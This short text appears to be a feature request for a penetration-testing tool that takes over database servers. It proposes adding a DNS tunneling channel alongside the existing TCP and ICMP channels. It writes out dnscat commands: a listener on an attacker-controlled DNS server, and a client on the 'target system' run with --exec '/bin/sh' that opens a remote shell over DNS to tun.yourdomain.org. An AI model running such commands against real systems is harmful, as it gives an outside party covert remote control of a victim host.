Description
We have already got OOB database server takeover via TCP (using Metasploit payloads: shell, Meterpreter, VNC), via ICMP (using icmpsh). It is time to implement out-of-band via DNS.
DNS tunneling as a Metasploit shellcode: http://www.skullsecurity.org/blog/?p=611.
Details about dnscat: http://www.skullsecurity.org/wiki/index.php/Dnscat.
Example of string on the authoritative DNS server for tun.yourdomain.org:
sudo ./dnscat --listen
Example of string of the client (target system):
./dnscat --domain tun.yourdomain.org --exec "/bin/sh"
Type commands on the authoritative DNS server for tun.yourdomain.org where you launched dnscat, they will be executed on the client (target system) and standard output shown inline.
